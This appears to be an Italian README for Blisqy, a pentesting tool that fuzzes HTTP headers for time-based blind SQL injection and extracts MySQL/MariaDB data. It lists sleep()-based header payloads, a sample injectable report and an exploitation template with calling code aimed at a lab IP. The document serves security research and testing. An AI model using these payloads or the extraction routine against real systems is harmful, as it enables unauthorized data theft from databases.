
Versione 0.2 - Sfrutta l'iniezione SQL cieca basata sul tempo nelle intestazioni HTTP (MySQL/MariaDB).
Blisqy è uno strumento per aiutare i ricercatori di sicurezza web a trovare l'iniezione SQL cieca basata sul tempo negli header HTTP e anche lo sfruttamento della stessa vulnerabilità.
Lo sfruttamento consente un lento prelievo di dati da un database (attualmente supporta solo MySQL/MariaDB) utilizzando operazioni bitwise su caratteri ASCII stampabili, tramite un'iniezione SQL cieca.
Per l'interoperabilità con altri strumenti Python e per consentire ad altri utenti di utilizzare le funzionalità fornite in Blisqy, i moduli qui presenti possono essere importati in altri script basati su Python.
Quando si testano iniezioni SQL cieche basate sul tempo, qualsiasi ritardo di rete o congestione può influenzare l'efficacia del fuzzing o dello sfruttamento. Per compensare i possibili ritardi di rete e le incertezze che potrebbero causare ritardi, il confronto temporale di Blisqy è dinamico e viene calcolato in fase di esecuzione per ogni test. I test utilizzano greenlet (un'unità di esecuzione leggera e cooperativa) per fornire un'API sincrona di alto livello sopra il loop di libevent. Fornisce un modo rapido ed efficiente per eseguire i test dei payload in poco tempo, inoltre, un test particolare non dovrebbe influenzarne un altro perché non vengono eseguiti completamente in modo sequenziale.
Blisqy ora supporta il fuzzing per l'iniezione SQL cieca basata sul tempo negli header HTTP e le funzionalità principali (fuzzing e sfruttamento) sono state separate in file indipendenti per la portabilità.
Per utilizzare la funzionalità di fuzzing, importa il seguente modulo nel tuo script Python e fornisci un target insieme ai dati di fuzzing come mostrato di seguito:
from lib.blindfuzzer import blindSeeker
I parametri del target dovrebbero essere in formato Dictionary/JSON, per esempio (Nota i tipi di dati delle variabili):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
L'invocazione del fuzzer una volta forniti i parametri del target è come mostrato di seguito:
vulns = blindSeeker(target_params)
vulns.fuzz()
Puoi controllare FindBlindSpot.py per questo esempio fornito.
Se hai successo, dovresti ottenere un report dei test 'iniettabili' effettuati. Tieni presente, per quanto Blisqy cerchi di compensare i ritardi di rete e la congestione durante i test, è importante verificare manualmente i test positivi segnalati prima di procedere.
Di seguito un report di esempio:
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index
===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________
Screenshot del fuzzer Blisqy in azione:

Dopo aver trovato una potenziale iniezione SQL cieca basata sul tempo, puoi preparare uno script per sfruttare l'applicazione web vulnerabile.
Proprio come per il fuzzer, puoi importare il modulo per lo sfruttamento nel tuo script Python e definire un template per l'operazione di sfruttamento. Di seguito un esempio di come importare il modulo in uno script Python:
from lib.blindexploit import SqlEngine
Successivamente, dovrai fornire i dettagli del tuo target insieme ai suoi parametri per lo sfruttamento. Di seguito un esempio di implementazione dello sfruttamento dell'iniezione SQL cieca trovata dal fuzzer:
I dati del target dovrebbero essere in formato Dictionary/JSON specificando il server, la porta, l'header vulnerabile trovato e il suo valore (alcune applicazioni necessitano o controllano un certo valore). Inoltre Nota i tipi di dati delle variabili.
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
I parametri del target dovrebbero seguire permettendo all'utente di specificare alcune opzioni relative alle preferenze di sfruttamento.
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname. L'opzione predefinita è 'pass'.Dopo aver fornito il target e i suoi parametri, la prossima cosa da fornire è un template per la routine di sfruttamento. Blisqy fornisce un modo per gli utenti di specificare dove iniettare il payload SQL di esfiltrazione e il ritardo sleeptime. Di seguito un esempio di implementazione per una delle vulnerabilità trovate nel report di esempio fornito nella sottosezione precedente.
Iniezione trovata nell'header X-Forwarded-For:
' or sleep(1)='
Template per questa particolare iniezione:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
Durante l'esecuzione, *sql* verrà sostituito con un payload di iniezione SQL e *time* verrà sostituito con un ritardo per sleep().
Una volta fatto tutto questo, l'ultima parte è istanziare la routine di sfruttamento e lasciare che il metodo MysqlDigger() faccia il lavoro.
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerate the MySql Database
BlindSql.MysqlDigger()
Puoi controllare ExploitBlindSpot.py per questo esempio fornito.
Di seguito un esempio di un'operazione di sfruttamento:

Puoi avvisarmi di qualsiasi cosa interessante tu abbia trovato con Blisqy o di ciò che pensi dovrebbe essere aggiunto/rimosso.
(PDF) Iniezione SQL cieca basata sul tempo tramite header HTTP: Fuzzing e sfruttamento.. Disponibile da: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course